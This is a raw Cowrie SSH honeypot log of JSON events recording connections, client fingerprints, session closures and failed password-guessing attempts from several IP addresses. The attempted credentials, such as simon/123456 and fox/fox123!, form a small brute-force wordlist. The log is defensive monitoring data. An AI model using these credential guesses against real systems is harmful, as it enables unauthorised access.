{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:51.948163Z","src_ip":"185.158.23.150","session":"88182f5138d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kocom","password":"kocom123","message":"login attempt [kocom/kocom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:52.646330Z","src_ip":"185.158.23.150","session":"88182f5138d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:53.005280Z","src_ip":"210.79.190.22","session":"2570aacff627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:57:53.814346Z","src_ip":"185.158.23.150","session":"88182f5138d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":53218,"dst_ip":"159.203.135.109","dst_port":22,"session":"4470e6c764e3","protocol":"ssh","message":"New connection: 40.81.244.142:53218 (159.203.135.109:22) [session: 4470e6c764e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:58:23.690418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:58:23.694160Z","src_ip":"40.81.244.142","session":"4470e6c764e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:58:23.898961Z","src_ip":"40.81.244.142","session":"4470e6c764e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"simon","password":"123456","message":"login attempt [simon/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:58:24.752133Z","src_ip":"40.81.244.142","session":"4470e6c764e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:58:25.959940Z","src_ip":"40.81.244.142","session":"4470e6c764e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":38788,"dst_ip":"159.203.135.109","dst_port":22,"session":"093cbaa7ef10","protocol":"ssh","message":"New connection: 159.223.94.92:38788 (159.203.135.109:22) [session: 093cbaa7ef10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:59:04.789787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:59:04.793591Z","src_ip":"159.223.94.92","session":"093cbaa7ef10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:59:05.041219Z","src_ip":"159.223.94.92","session":"093cbaa7ef10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"simon","password":"123456","message":"login attempt [simon/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:59:06.058058Z","src_ip":"159.223.94.92","session":"093cbaa7ef10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:59:07.306696Z","src_ip":"159.223.94.92","session":"093cbaa7ef10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.23.150","src_port":42518,"dst_ip":"159.203.135.109","dst_port":22,"session":"32312331368b","protocol":"ssh","message":"New connection: 185.158.23.150:42518 (159.203.135.109:22) [session: 32312331368b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:59:40.259909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:59:40.265113Z","src_ip":"185.158.23.150","session":"32312331368b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:59:40.428020Z","src_ip":"185.158.23.150","session":"32312331368b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fox","password":"fox123!","message":"login attempt [fox/fox123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:59:41.107267Z","src_ip":"185.158.23.150","session":"32312331368b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:59:42.271219Z","src_ip":"185.158.23.150","session":"32312331368b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.190.22","src_port":36574,"dst_ip":"159.203.135.109","dst_port":22,"session":"067c1bc2f399","protocol":"ssh","message":"New connection: 210.79.190.22:36574 (159.203.135.109:22) [session: 067c1bc2f399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:59:47.355597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:59:47.362482Z","src_ip":"210.79.190.22","session":"067c1bc2f399","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:59:47.598886Z","src_ip":"210.79.190.22","session":"067c1bc2f399","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kocom","password":"kocom123","message":"login attempt [kocom/kocom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:59:48.549890Z","src_ip":"210.79.190.22","session":"067c1bc2f399","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:59:49.793029Z","src_ip":"210.79.190.22","session":"067c1bc2f399","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":52232,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9c58ae0f58f","protocol":"ssh","message":"New connection: 131.161.249.165:52232 (159.203.135.109:22) [session: a9c58ae0f58f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:00:05.488120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:00:05.493614Z","src_ip":"131.161.249.165","session":"a9c58ae0f58f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:00:05.617934Z","src_ip":"131.161.249.165","session":"a9c58ae0f58f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fox","password":"fox123!","message":"login attempt [fox/fox123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:00:06.147890Z","src_ip":"131.161.249.165","session":"a9c58ae0f58f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:00:07.277055Z","src_ip":"131.161.249.165","session":"a9c58ae0f58f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":36784,"dst_ip":"159.203.135.109","dst_port":22,"session":"933504717967","protocol":"ssh","message":"New connection: 40.81.244.142:36784 (159.203.135.109:22) [session: 933504717967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:00:34.914323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:00:34.919224Z","src_ip":"40.81.244.142","session":"933504717967","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:00:35.122211Z","src_ip":"40.81.244.142","session":"933504717967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gw","password":"123","message":"login attempt [gw/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:00:35.966716Z","src_ip":"40.81.244.142","session":"933504717967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:00:37.171790Z","src_ip":"40.81.244.142","session":"933504717967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":46428,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a6bbeda0ac0","protocol":"ssh","message":"New connection: 159.223.94.92:46428 (159.203.135.109:22) [session: 3a6bbeda0ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:10.331763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:10.335423Z","src_ip":"159.223.94.92","session":"3a6bbeda0ac0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:10.572926Z","src_ip":"159.223.94.92","session":"3a6bbeda0ac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"Ts3123","message":"login attempt [ts3/Ts3123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:11.558412Z","src_ip":"159.223.94.92","session":"3a6bbeda0ac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:12.797877Z","src_ip":"159.223.94.92","session":"3a6bbeda0ac0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.207.244","src_port":50286,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dcfddf5c195","protocol":"ssh","message":"New connection: 45.78.207.244:50286 (159.203.135.109:22) [session: 4dcfddf5c195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:26.805566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:26.809160Z","src_ip":"45.78.207.244","session":"4dcfddf5c195","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:27.043387Z","src_ip":"45.78.207.244","session":"4dcfddf5c195","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.5","message":"Connection lost after 11.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:38.262940Z","src_ip":"45.78.207.244","session":"4dcfddf5c195","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.23.150","src_port":11497,"dst_ip":"159.203.135.109","dst_port":22,"session":"68c3b5ee60d2","protocol":"ssh","message":"New connection: 185.158.23.150:11497 (159.203.135.109:22) [session: 68c3b5ee60d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:39.016119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:39.020636Z","src_ip":"185.158.23.150","session":"68c3b5ee60d2","protocol":"ssh"}
